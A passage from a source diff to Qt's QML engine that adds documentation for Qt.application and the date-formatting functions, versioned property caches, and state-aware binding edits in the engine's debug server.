+the \l Qt::LeftButton and \l Qt::RightButton enum values as \c Qt.LeftButton and \c Qt.RightButton.
\section1 Types
@@ -261,6 +264,57 @@ of their use.
\endlist
*/
+
+/*!
+ \qmlproperty object QML:Qt::application
+ \since QtQuick 1.1
+
+ The \c application object provides access to global application state
+ properties shared by many QML components.
+
+ Its properties are:
+
+ \table
+ \row
+ \o \c application.active
+ \o
+ This read-only property indicates whether the application is the top-most and focused
+ application, and the user is able to interact with the application. The property
+ is false when the application is in the background, the device keylock or screen
+ saver is active, the screen backlight is turned off, or the global system dialog
+ is being displayed on top of the application. It can be used for stopping and
+ pausing animations, timers and active processing of data in order to save device
+ battery power and free device memory and processor load when the application is not
+ active.
+
+ \row
+ \o \c application.layoutDirection
+ \o
+ This read-only property can be used to query the default layout direction of the
+ application. On system start-up, the default layout direction depends on the
+ application's language. The property has a value of \c Qt.RightToLeft in locales
+ where text and graphic elements are read from right to left, and \c Qt.LeftToRight
+ where the reading direction flows from left to right. You can bind to this
+ property to customize your application layouts to support both layout directions.
+
+ Possible values are:
+
+ \list
+ \o Qt.LeftToRight - Text and graphics elements should be positioned
+ from left to right.
+ \o Qt.RightToLeft - Text and graphics elements should be positioned
+ from right to left.
+ \endlist
+ \endtable
+
+ The following example uses the \c application object to indicate
+ whether the application is currently active:
+
+ \snippet doc/src/snippets/declarative/application.qml document
+
+*/
+
+
/*!
\qmlmethod object Qt::include(string url, jsobject callback)
@@ -458,6 +512,8 @@ QDeclarativeEnginePrivate::~QDeclarativeEnginePrivate()
(*iter)->release();
for(QHash<const QMetaObject *, QDeclarativePropertyCache *>::Iterator iter = propertyCache.begin(); iter != propertyCache.end(); ++iter)
(*iter)->release();
+ for(QHash<QPair<QDeclarativeType *, int>, QDeclarativePropertyCache *>::Iterator iter = typePropertyCache.begin(); iter != typePropertyCache.end(); ++iter)
+ (*iter)->release();
}
@@ -520,6 +576,9 @@ void QDeclarativeEnginePrivate::init()
listClass = new QDeclarativeListScriptClass(q);
rootContext = new QDeclarativeContext(q,true);
+ QScriptValue applicationObject = objectClass->newQObject(new QDeclarativeApplication(q));
+ scriptEngine.globalObject().property(QLatin1String("Qt")).setProperty(QLatin1String("application"), applicationObject);
+
if (QCoreApplication::instance()->thread() == q->thread() &&
QDeclarativeEngineDebugServer::isDebuggingEnabled()) {
isDebugging = true;
@@ -717,7 +776,7 @@ void QDeclarativeEngine::addImageProvider(const QString &providerId, QDeclarativ
{
Q_D(QDeclarativeEngine);
QMutexLocker locker(&d->mutex);
- d->imageProviders.insert(providerId, QSharedPointer<QDeclarativeImageProvider>(provider));
+ d->imageProviders.insert(providerId.toLower(), QSharedPointer<QDeclarativeImageProvider>(provider));
}
/*!
@@ -959,7 +1018,14 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object)
QDeclarativeData *data = QDeclarativeData::get(object);
if (data && data->deferredComponent) {
-
+ if (QDeclarativeDebugService::isDebuggingEnabled()) {
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating);
+ QDeclarativeType *type = QDeclarativeMetaType::qmlType(object->metaObject());
+ QString typeName = type ? QLatin1String(type->qmlTypeName()) : QString::fromLatin1(object->metaObject()->className());
+ QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, typeName);
+ if (data->outerContext)
+ QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::Creating, data->outerContext->url, data->lineNumber);
+ }
QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(data->context->engine);
QDeclarativeComponentPrivate::ConstructionState state;
@@ -969,6 +1035,7 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object)
data->deferredComponent = 0;
QDeclarativeComponentPrivate::complete(ep, &state);
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Creating);
}
}
@@ -1372,7 +1439,17 @@ QScriptValue QDeclarativeEnginePrivate::vector3d(QScriptContext *ctxt, QScriptEn
/*!
\qmlmethod string Qt::formatDate(datetime date, variant format)
-Returns the string representation of \c date, formatted according to \c format.
+
+Returns a string representation of \c date, optionally formatted according
+to \c format.
+
+The \a date parameter may be a JavaScript \c Date object, a \l{date}{date}
+property, a QDate, or QDateTime value. The \a format parameter may be any of
+the possible format values as described for
+\l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}.
+
+If \a format is not specified, \a date is formatted using
+\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}.
*/
#ifndef QT_NO_DATESTRING
QScriptValue QDeclarativeEnginePrivate::formatDate(QScriptContext*ctxt, QScriptEngine*engine)
@@ -1399,9 +1476,16 @@ QScriptValue QDeclarativeEnginePrivate::formatDate(QScriptContext*ctxt, QScriptE
/*!
\qmlmethod string Qt::formatTime(datetime time, variant format)
-Returns the string representation of \c time, formatted according to \c format.
-See Qt::formatDateTime for how to define \c format.
+Returns a string representation of \c time, optionally formatted according to
+\c format.
+
+The \a time parameter may be a JavaScript \c Date object, a QTime, or QDateTime
+value. The \a format parameter may be any of the possible format values as
+described for \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}.
+
+If \a format is not specified, \a time is formatted using
+\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}.
*/
QScriptValue QDeclarativeEnginePrivate::formatTime(QScriptContext*ctxt, QScriptEngine*engine)
{
@@ -1409,29 +1493,49 @@ QScriptValue QDeclarativeEnginePrivate::formatTime(QScriptContext*ctxt, QScriptE
if(argCount == 0 || argCount > 2)
return ctxt->throwError(QLatin1String("Qt.formatTime(): Invalid arguments"));
- QTime date = ctxt->argument(0).toDateTime().time();
+ QTime time;
+ QScriptValue sv = ctxt->argument(0);
+ if (sv.isDate())
+ time = sv.toDateTime().time();
+ else if (sv.toVariant().type() == QVariant::Time)
+ time = sv.toVariant().toTime();
+
Qt::DateFormat enumFormat = Qt::DefaultLocaleShortDate;
if (argCount == 2) {
QScriptValue formatArg = ctxt->argument(1);
if (formatArg.isString()) {
QString format = formatArg.toString();
- return engine->newVariant(QVariant::fromValue(date.toString(format)));
+ return engine->newVariant(QVariant::fromValue(time.toString(format)));
} else if (formatArg.isNumber()) {
enumFormat = Qt::DateFormat(formatArg.toUInt32());
} else {
return ctxt->throwError(QLatin1String("Qt.formatTime(): Invalid time format"));
}
}
- return engine->newVariant(QVariant::fromValue(date.toString(enumFormat)));
+ return engine->newVariant(QVariant::fromValue(time.toString(enumFormat)));
}
/*!
\qmlmethod string Qt::formatDateTime(datetime dateTime, variant format)
-Returns the string representation of \c dateTime, formatted according to \c format.
-\c format for the date/time formatting functions is be specified as follows.
+Returns a string representation of \c datetime, optionally formatted according to
+\c format.
+
+The \a date parameter may be a JavaScript \c Date object, a \l{date}{date}
+property, a QDate, QTime, or QDateTime value.
- These expressions may be used for the date:
+If \a format is not provided, \a dateTime is formatted using
+\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}. Otherwise,
+\a format should be either.
+
+\list
+\o One of the Qt::DateFormat enumeration values, such as
+ \c Qt.DefaultLocaleShortDate or \c Qt.ISODate
+\o A string that specifies the format of the returned string, as detailed below.
+\endlist
+
+If \a format specifies a format string, it should use the following expressions
+to specify the date:
\table
\header \i Expression \i Output
@@ -1455,7 +1559,7 @@ Returns the string representation of \c dateTime, formatted according to \c form
\row \i yyyy \i the year as four digit number
\endtable
- These expressions may be used for the time:
+In addition the following expressions can be used to specify the time:
\table
\header \i Expression \i Output
@@ -1476,23 +1580,28 @@ Returns the string representation of \c dateTime, formatted according to \c form
\endtable
All other input characters will be ignored. Any sequence of characters that
- are enclosed in singlequotes will be treated as text and not be used as an
- expression. Two consecutive singlequotes ("''") are replaced by a singlequote
+ are enclosed in single quotes will be treated as text and not be used as an
+ expression. Two consecutive single quotes ("''") are replaced by a single quote
in the output.
- Example format strings (assumed that the date and time is 21 May 2001
- 14:13:09):
+For example, if the following date/time value was specified:
+
+ \code
+ // 21 May 2001 14:13:09
+ var dateTime = new Date(2001, 5, 21, 14, 13, 09)
+ \endcode
+
+This \a dateTime value could be passed to \c Qt.formatDateTime(),
+\l {QML:Qt::formatDate()}{Qt.formatDate()} or \l {QML:Qt::formatTime()}{Qt.formatTime()}
+with the \a format values below to produce the following results:
\table
- \header \i Format \i Result
- \row \i dd.MM.yyyy \i 21.05.2001
- \row \i ddd MMMM d yy \i Tue May 21 01
- \row \i hh:mm:ss.zzz \i 14:13:09.042
- \row \i h:m:s ap \i 2:13:9 pm
+ \header \i Format \i Result
+ \row \i "dd.MM.yyyy" \i 21.05.2001
+ \row \i "ddd MMMM d yy" \i Tue May 21 01
+ \row \i "hh:mm:ss.zzz" \i 14:13:09.042
+ \row \i "h:m:s ap" \i 2:13:9 pm
\endtable
-
-If no format is specified the locale's short format is used. Alternatively, you can specify
-\c Qt.DefaultLocaleLongDate to get the locale's long format.
*/
QScriptValue QDeclarativeEnginePrivate::formatDateTime(QScriptContext*ctxt, QScriptEngine*engine)
{
@@ -1872,14 +1981,24 @@ QScriptValue QDeclarativeEnginePrivate::quit(QScriptContext * /*ctxt*/, QScriptE
}
/*!
-\qmlmethod color Qt::tint(color baseColor, color tintColor)
+ \qmlmethod color Qt::tint(color baseColor, color tintColor)
This function allows tinting one color with another.
- The tint color should usually be mostly transparent, or you will not be able to see the underlying color. The below example provides a slight red tint by having the tint color be pure red which is only 1/16th opaque.
+ The tint color should usually be mostly transparent, or you will not be
+ able to see the underlying color. The below example provides a slight red
+ tint by having the tint color be pure red which is only 1/16th opaque.
\qml
- Rectangle { x: 0; width: 80; height: 80; color: "lightsteelblue" }
- Rectangle { x: 100; width: 80; height: 80; color: Qt.tint("lightsteelblue", "#10FF0000") }
+ Item {
+ Rectangle {
+ x: 0; width: 80; height: 80
+ color: "lightsteelblue"
+ }
+ Rectangle {
+ x: 100; width: 80; height: 80
+ color: Qt.tint("lightsteelblue", "#10FF0000")
+ }
+ }
\endqml
\image declarative-rect_tint.png
@@ -1994,10 +2113,11 @@ QVariant QDeclarativeEnginePrivate::scriptValueToVariant(const QScriptValue &val
/*!
Adds \a path as a directory where the engine searches for
installed modules in a URL-based directory structure.
+ The \a path may be a local filesystem directory or a URL.
The newly added \a path will be first in the importPathList().
- \sa setImportPathList()
+ \sa setImportPathList(), \l {QML Modules}
*/
void QDeclarativeEngine::addImportPath(const QString& path)
{
@@ -2152,6 +2272,125 @@ static void *voidptr_constructor(const void *v)
}
}
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::createCache(const QMetaObject *mo)
+{
+ Q_Q(QDeclarativeEngine);
+
+ if (!mo->superClass()) {
+ QDeclarativePropertyCache *rv = new QDeclarativePropertyCache(q, mo);
+ propertyCache.insert(mo, rv);
+ return rv;
+ } else {
+ QDeclarativePropertyCache *super = cache(mo->superClass());
+ QDeclarativePropertyCache *rv = super->copy();
+ rv->append(q, mo);
+ propertyCache.insert(mo, rv);
+ return rv;
+ }
+}
+
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::createCache(QDeclarativeType *type, int minorVersion,
+ QDeclarativeError &error)
+{
+ QList<QDeclarativeType *> types;
+
+ int maxMinorVersion = 0;
+
+ const QMetaObject *metaObject = type->metaObject();
+ while (metaObject) {
+ QDeclarativeType *t = QDeclarativeMetaType::qmlType(metaObject, type->module(),
+ type->majorVersion(), minorVersion);
+ if (t) {
+ maxMinorVersion = qMax(maxMinorVersion, t->minorVersion());
+ types << t;
+ } else {
+ types << 0;
+ }
+
+ metaObject = metaObject->superClass();
+ }
+
+ if (QDeclarativePropertyCache *c = typePropertyCache.value(qMakePair(type, maxMinorVersion))) {
+ c->addref();
+ typePropertyCache.insert(qMakePair(type, minorVersion), c);
+ return c;
+ }
+
+ QDeclarativePropertyCache *raw = cache(type->metaObject());
+
+ bool hasCopied = false;
+
+ for (int ii = 0; ii < types.count(); ++ii) {
+ QDeclarativeType *currentType = types.at(ii);
+ if (!currentType)
+ continue;
+
+ int rev = currentType->metaObjectRevision();
+ int moIndex = types.count() - 1 - ii;
+
+ if (raw->allowedRevisionCache[moIndex] != rev) {
+ if (!hasCopied) {
+ raw = raw->copy();
+ hasCopied = true;
+ }
+ raw->allowedRevisionCache[moIndex] = rev;
+ }
+ }
+
+ // Test revision compatibility - the basic rule is:
+ // * Anything that is excluded, cannot overload something that is not excluded *
+
+ // Signals override:
+ // * other signals and methods of the same name.
+ // * properties named on<Signal Name>
+ // * automatic <property name>Changed notify signals
+
+ // Methods override:
+ // * other methods of the same name
+
+ // Properties override:
+ // * other elements of the same name
+
+ bool overloadError = false;
+ QString overloadName;
+
+#if 0
+ for (QDeclarativePropertyCache::StringCache::ConstIterator iter = raw->stringCache.begin();
+ !overloadError && iter != raw->stringCache.end();
+ ++iter) {
+
+ QDeclarativePropertyCache::Data *d = *iter;
+ if (raw->isAllowedInRevision(d))
+ continue; // Not excluded - no problems
+
+ // check that a regular "name" overload isn't happening
+ QDeclarativePropertyCache::Data *current = d;
+ while (!overloadError && current) {
+ current = d->overrideData(current);
+ if (current && raw->isAllowedInRevision(current))
+ overloadError = true;
+ }
+ }
+#endif
+
+ if (overloadError) {
+ if (hasCopied) raw->release();
+
+ error.setDescription(QLatin1String("Type ") + QString::fromUtf8(type->qmlTypeName()) + QLatin1String(" ") + QString::number(type->majorVersion()) + QLatin1String(".") + QString::number(minorVersion) + QLatin1String(" contains an illegal property \"") + overloadName + QLatin1String("\". This is an error in the type's implementation."));
+ return 0;
+ }
+
+ if (!hasCopied) raw->addref();
+ typePropertyCache.insert(qMakePair(type, minorVersion), raw);
+
+ if (minorVersion != maxMinorVersion) {
+ raw->addref();
+ typePropertyCache.insert(qMakePair(type, maxMinorVersion), raw);
+ }
+
+ return raw;
+}
+
void QDeclarativeEnginePrivate::registerCompositeType(QDeclarativeCompiledData *data)
{
QByteArray name = data->root->className();
diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h
index fc996b5..88b4e80 100644
--- a/src/declarative/qml/qdeclarativeengine_p.h
+++ b/src/declarative/qml/qdeclarativeengine_p.h
@@ -251,8 +251,12 @@ public:
QDeclarativeValueTypeFactory valueTypes;
QHash<const QMetaObject *, QDeclarativePropertyCache *> propertyCache;
+ QHash<QPair<QDeclarativeType *, int>, QDeclarativePropertyCache *> typePropertyCache;
inline QDeclarativePropertyCache *cache(QObject *obj);
inline QDeclarativePropertyCache *cache(const QMetaObject *);
+ inline QDeclarativePropertyCache *cache(QDeclarativeType *, int, QDeclarativeError &error);
+ QDeclarativePropertyCache *createCache(const QMetaObject *);
+ QDeclarativePropertyCache *createCache(QDeclarativeType *, int, QDeclarativeError &error);
void registerCompositeType(QDeclarativeCompiledData *);
@@ -330,19 +334,17 @@ Returns a QDeclarativePropertyCache for \a obj if one is available.
If \a obj is null, being deleted or contains a dynamic meta object 0
is returned.
+
+The returned cache is not referenced, so if it is to be stored, call addref().
*/
QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QObject *obj)
{
- Q_Q(QDeclarativeEngine);
if (!obj || QObjectPrivate::get(obj)->metaObject || QObjectPrivate::get(obj)->wasDeleted)
return 0;
const QMetaObject *mo = obj->metaObject();
QDeclarativePropertyCache *rv = propertyCache.value(mo);
- if (!rv) {
- rv = new QDeclarativePropertyCache(q, mo);
- propertyCache.insert(mo, rv);
- }
+ if (!rv) rv = createCache(mo);
return rv;
}
@@ -352,18 +354,32 @@ Returns a QDeclarativePropertyCache for \a metaObject.
As the cache is persisted for the life of the engine, \a metaObject must be
a static "compile time" meta-object, or a meta-object that is otherwise known to
exist for the lifetime of the QDeclarativeEngine.
+
+The returned cache is not referenced, so if it is to be stored, call addref().
*/
QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(const QMetaObject *metaObject)
{
- Q_Q(QDeclarativeEngine);
Q_ASSERT(metaObject);
QDeclarativePropertyCache *rv = propertyCache.value(metaObject);
- if (!rv) {
- rv = new QDeclarativePropertyCache(q, metaObject);
- propertyCache.insert(metaObject, rv);
- }
+ if (!rv) rv = createCache(metaObject);
+ return rv;
+}
+
+/*!
+Returns a QDeclarativePropertyCache for \a type with \a minorVersion.
+
+The returned cache is not referenced, so if it is to be stored, call addref().
+*/
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QDeclarativeType *type, int minorVersion, QDeclarativeError &error)
+{
+ Q_ASSERT(type);
+
+ if (minorVersion == -1 || !type->containsRevisionedAttributes())
+ return cache(type->metaObject());
+ QDeclarativePropertyCache *rv = typePropertyCache.value(qMakePair(type, minorVersion));
+ if (!rv) rv = createCache(type, minorVersion, error);
return rv;
}
diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp
index 3dfd0f2..31fd516 100644
--- a/src/declarative/qml/qdeclarativeenginedebug.cpp
+++ b/src/declarative/qml/qdeclarativeenginedebug.cpp
@@ -52,6 +52,7 @@
#include "private/qdeclarativevaluetype_p.h"
#include "private/qdeclarativevmemetaobject_p.h"
#include "private/qdeclarativeexpression_p.h"
+#include "private/qdeclarativepropertychanges_p.h"
#include <QtCore/qdebug.h>
#include <QtCore/qmetaobject.h>
@@ -166,17 +167,19 @@ QDeclarativeEngineDebugServer::propertyData(QObject *obj, int propIdx)
QVariant QDeclarativeEngineDebugServer::valueContents(const QVariant &value) const
{
int userType = value.userType();
- if (QDeclarativeValueTypeFactory::isValueType(userType))
- return value;
- /*
- if (QDeclarativeMetaType::isList(userType)) {
- int count = QDeclarativeMetaType::listCount(value);
+ if (value.type() == QVariant::List) {
QVariantList contents;
- for (int i=0; i<count; i++)
- contents << valueContents(QDeclarativeMetaType::listAt(value, i));
+ QVariantList list = value.toList();
+ int count = list.size();
+ for (int i = 0; i < count; i++)
+ contents << valueContents(list.at(i));
return contents;
- } else */
+ }
+
+ if (QDeclarativeValueTypeFactory::isValueType(userType))
+ return value;
+
if (QDeclarativeMetaType::isQObject(userType)) {
QObject *o = QDeclarativeMetaType::toQObject(value);
if (o) {
@@ -195,11 +198,6 @@ void QDeclarativeEngineDebugServer::buildObjectDump(QDataStream &message,
{
message << objectData(object);
- // Some children aren't added to an object until particular properties are read
- // - e.g. child state objects aren't added until the 'states' property is read -
- // but this should only affect internal objects that aren't shown by the
- // debugger anyway.
-
QObjectList children = object->children();
int childrenCount = children.count();
@@ -260,6 +258,18 @@ void QDeclarativeEngineDebugServer::buildObjectDump(QDataStream &message,
message << fakeProperties[ii];
}
+void QDeclarativeEngineDebugServer::prepareDeferredObjects(QObject *obj)
+{
+ qmlExecuteDeferred(obj);
+
+ QObjectList children = obj->children();
+ for (int ii = 0; ii < children.count(); ++ii) {
+ QObject *child = children.at(ii);
+ prepareDeferredObjects(child);
+ }
+
+}
+
void QDeclarativeEngineDebugServer::buildObjectList(QDataStream &message, QDeclarativeContext *ctxt)
{
QDeclarativeContextData *p = QDeclarativeContextData::get(ctxt);
@@ -300,6 +310,35 @@ void QDeclarativeEngineDebugServer::buildObjectList(QDataStream &message, QDecla
}
}
+void QDeclarativeEngineDebugServer::buildStatesList(QDeclarativeContext *ctxt, bool cleanList=false)
+{
+ if (cleanList)
+ m_allStates.clear();
+
+ QDeclarativeContextPrivate *ctxtPriv = QDeclarativeContextPrivate::get(ctxt);
+ for (int ii = 0; ii < ctxtPriv->instances.count(); ++ii) {
+ buildStatesList(ctxtPriv->instances.at(ii));
+ }
+
+ QDeclarativeContextData *child = QDeclarativeContextData::get(ctxt)->childContexts;
+ while (child) {
+ buildStatesList(child->asQDeclarativeContext());
+ child = child->nextChild;
+ }
+}
+
+void QDeclarativeEngineDebugServer::buildStatesList(QObject *obj)
+{
+ if (QDeclarativeState *state = qobject_cast<QDeclarativeState *>(obj)) {
+ m_allStates.append(state);
+ }
+
+ QObjectList children = obj->children();
+ for (int ii = 0; ii < children.count(); ++ii) {
+ buildStatesList(children.at(ii));
+ }
+}
+
QDeclarativeEngineDebugServer::QDeclarativeObjectData
QDeclarativeEngineDebugServer::objectData(QObject *object)
{
@@ -378,8 +417,10 @@ void QDeclarativeEngineDebugServer::messageReceived(const QByteArray &message)
QDataStream rs(&reply, QIODevice::WriteOnly);
rs << QByteArray("LIST_OBJECTS_R") << queryId;
- if (engine)
+ if (engine) {
buildObjectList(rs, engine->rootContext());
+ buildStatesList(engine->rootContext(), true);
+ }
sendMessage(reply);
} else if (type == "FETCH_OBJECT") {
@@ -396,8 +437,11 @@ void QDeclarativeEngineDebugServer::messageReceived(const QByteArray &message)
QDataStream rs(&reply, QIODevice::WriteOnly);
rs << QByteArray("FETCH_OBJECT_R") << queryId;
- if (object)
+ if (object) {
+ if (recurse)
+ prepareDeferredObjects(object);
buildObjectDump(rs, object, recurse, dumpProperties);
+ }
sendMessage(reply);
} else if (type == "WATCH_OBJECT") {
@@ -499,24 +543,63 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId,
QDeclarativeContext *context = qmlContext(object);
if (object && context) {
-
QDeclarativeProperty property(object, propertyName, context);
- if (isLiteralValue) {
- property.write(expression);
- } else if (hasValidSignal(object, propertyName)) {
- QDeclarativeExpression *declarativeExpression = new QDeclarativeExpression(context, object, expression.toString());
- QDeclarativeExpression *oldExpression = QDeclarativePropertyPrivate::setSignalExpression(property, declarativeExpression);
- declarativeExpression->setSourceLocation(oldExpression->sourceFile(), oldExpression->lineNumber());
- } else if (property.isProperty()) {
- QDeclarativeBinding *binding = new QDeclarativeBinding(expression.toString(), object, context);
- binding->setTarget(property);
- binding->setNotifyOnValueChanged(true);
- QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, binding);
- if (oldBinding)
- oldBinding->destroy();
- binding->update();
+ if (property.isValid()) {
+
+ bool inBaseState = true;
+
+ foreach(QWeakPointer<QDeclarativeState> statePointer, m_allStates) {
+ if (QDeclarativeState *state = statePointer.data()) {
+ // here we assume that the revert list on itself defines the base state
+ if (state->isStateActive() && state->containsPropertyInRevertList(object, propertyName)) {
+ inBaseState = false;
+
+ QDeclarativeBinding *newBinding = 0;
+ if (!isLiteralValue) {
+ newBinding = new QDeclarativeBinding(expression.toString(), object, context);
+ newBinding->setTarget(property);
+ newBinding->setNotifyOnValueChanged(true);
+ }
+
+ state->changeBindingInRevertList(object, propertyName, newBinding);
+
+ if (isLiteralValue)
+ state->changeValueInRevertList(object, propertyName, expression);
+ }
+ }
+ }
+
+ if (inBaseState) {
+ if (isLiteralValue) {
+ property.write(expression);
+ } else if (hasValidSignal(object, propertyName)) {
+ QDeclarativeExpression *declarativeExpression = new QDeclarativeExpression(context, object, expression.toString());
+ QDeclarativeExpression *oldExpression = QDeclarativePropertyPrivate::setSignalExpression(property, declarativeExpression);
+ declarativeExpression->setSourceLocation(oldExpression->sourceFile(), oldExpression->lineNumber());
+ } else if (property.isProperty()) {
+ QDeclarativeBinding *binding = new QDeclarativeBinding(expression.toString(), object, context);
+ binding->setTarget(property);
+ binding->setNotifyOnValueChanged(true);
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, binding);
+ if (oldBinding)
+ oldBinding->destroy();
+ binding->update();
+ } else {
+ qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object;
+ }
+ }
+
} else {
- qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object;
+ // not a valid property
+ if (QDeclarativePropertyChanges *propertyChanges = qobject_cast<QDeclarativePropertyChanges *>(object)) {
+ if (isLiteralValue) {
+ propertyChanges->changeValue(propertyName, expression);
+ } else {
+ propertyChanges->changeExpression(propertyName, expression.toString());
+ }
+ } else {
+ qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object;
+ }
}
}
}
@@ -534,11 +617,31 @@ void QDeclarativeEngineDebugServer::resetBinding(int objectId, const QString &pr
QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, 0);
if (oldBinding)
oldBinding->destroy();
+ }
+ if (property.isResettable()) {
+ // Note: this will reset the property in any case, without regard to states
+ // Right now almost no QDeclarativeItem has reset methods for its properties (with the
+ // notable exception of QDeclarativeAnchors), so this is not a big issue
+ // later on, setBinding does take states into account
+ property.reset();
} else {
- if (property.isResettable()) {
- property.reset();
+ // overwrite with default value
+ if (QDeclarativeType *objType = QDeclarativeMetaType::qmlType(object->metaObject())) {
+ if (QObject *emptyObject = objType->create()) {
+ if (emptyObject->property(propertyName.toLatin1()).isValid()) {
+ QVariant defaultValue = QDeclarativeProperty(emptyObject, propertyName).read();
+ if (defaultValue.isValid()) {
+ setBinding(objectId, propertyName, defaultValue, true);
+ }
+ }
+ delete emptyObject;
+ }
}
}
+ } else {
+ if (QDeclarativePropertyChanges *propertyChanges = qobject_cast<QDeclarativePropertyChanges *>(object)) {
+ propertyChanges->removeProperty(propertyName);
+ }
}
}
}
diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h
index 58eb046..e95676c 100644
--- a/src/declarative/qml/qdeclarativeenginedebug_p.h
+++ b/src/declarative/qml/qdeclarativeenginedebug_p.h
@@ -57,6 +57,7 @@
#include <QtCore/qurl.h>
#include <QtCore/qvariant.h>
+#include <QWeakPointer>
QT_BEGIN_NAMESPACE
@@ -64,6 +65,7 @@ class QDeclarativeEngine;
class QDeclarativeContext;
class QDeclarativeWatcher;
class QDataStream;
+class QDeclarativeState;
class QDeclarativeEngineDebugServer : public QDeclarativeDebugService
{
@@ -105,8 +107,11 @@ private Q_SLOTS:
void propertyChanged(int id, int objectId, const QMetaProperty &property, const QVariant &value);
private:
+ void prepareDeferredObjects(QObject *);
void buildObjectList(QDataStream &, QDeclarativeContext *);
void buildObjectDump(QDataStream &, QObject *, bool, bool);
+ void buildStatesList(QDeclarativeContext *, bool);
+ void buildStatesList(QObject *obj);
QDeclarativeObjectData objectData(QObject *);
QDeclarativeObjectProperty propertyData(QObject *, int);
QVariant valueContents(const QVariant &defaultValue) const;
@@ -116,6 +121,7 @@ private:
QList<QDeclarativeEngine *> m_engines;
QDeclarativeWatcher *m_watch;
+ QList<QWeakPointer<QDeclarativeState> > m_allStates;
};
Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator<<(QDataStream &, const QDeclarativeEngineDebugServer::QDeclarativeObjectData &);
Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator>>(QDataStream &, QDeclarativeEngineDebugServer::QDeclarativeObjectData &);
diff --git a/src/declarative/qml/qdeclarativeexpression.cpp b/src/declarative/qml/qdeclarativeexpression.cpp
index 26c91a5..7a85ada 100644
--- a/src/declarative/qml/qdeclarativeexpression.cpp
+++ b/src/declarative/qml/qdeclarativeexpression.cpp
@@ -103,6 +103,19 @@ void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, const QS
expressionFunctionValid = false;
}
+void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, const QScriptValue &func,
+ QObject *me)
+{
+ expression = func.toString();
+
+ QDeclarativeAbstractExpression::setContext(ctxt);
+ scopeObject = me;
+
+ expressionFunction = func;
+ expressionFunctionMode = ExplicitContext;
+ expressionFunctionValid = true;
+}
+
void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, void *expr,
QDeclarativeRefCount *rc,
QObject *me, const QString &srcUrl, int lineNumber)
@@ -304,6 +317,19 @@ QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QO
d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
}
+/*! \internal */
+QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QObject *scope, const QScriptValue &func,
+ QDeclarativeExpressionPrivate &dd)
+: QObject(dd, 0)
+{
+ Q_D(QDeclarativeExpression);
+ d->init(ctxt, func, scope);
+
+ if (QDeclarativeExpression_notifyIdx == -1)
+ QDeclarativeExpression_notifyIdx = QDeclarativeExpression::staticMetaObject.indexOfMethod("_q_notify()");
+ d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
+}
+
/*!
Destroy the QDeclarativeExpression instance.
*/
@@ -412,6 +438,16 @@ void QDeclarativeQtScriptExpression::setNotifyObject(QObject *object, int notify
}
}
+void QDeclarativeQtScriptExpression::setEvaluateFlags(EvaluateFlags flags)
+{
+ evalFlags = flags;
+}
+
+QDeclarativeQtScriptExpression::EvaluateFlags QDeclarativeQtScriptExpression::evaluateFlags() const
+{
+ return evalFlags;
+}
+
QScriptValue QDeclarativeQtScriptExpression::scriptValue(QObject *secondaryScope, bool *isUndefined)
{
Q_ASSERT(context() && context()->engine);
@@ -476,7 +512,10 @@ QScriptValue QDeclarativeQtScriptExpression::eval(QObject *secondaryScope, bool
oldOverride = ep->contextClass->setOverrideObject(expressionContext, secondaryScope);
}
- QScriptValue svalue = expressionFunction.call(); // This could cause this to be deleted
+ QScriptValue thisObject;
+ if (evalFlags & RequiresThisObject)
+ thisObject = ep->objectClass->newQObject(scopeObject);
+ QScriptValue svalue = expressionFunction.call(thisObject); // This could cause this c++ object to be deleted
if (isShared) {
ep->sharedContext = oldSharedContext;
diff --git a/src/declarative/qml/qdeclarativeexpression.h b/src/declarative/qml/qdeclarativeexpression.h
index 72c5947..d40094b 100644
--- a/src/declarative/qml/qdeclarativeexpression.h
+++ b/src/declarative/qml/qdeclarativeexpression.h
@@ -59,6 +59,7 @@ class QDeclarativeEngine;
class QDeclarativeContext;
class QDeclarativeExpressionPrivate;
class QDeclarativeContextData;
+class QScriptValue;
class Q_DECLARATIVE_EXPORT QDeclarativeExpression : public QObject
{
Q_OBJECT
@@ -94,6 +95,8 @@ Q_SIGNALS:
protected:
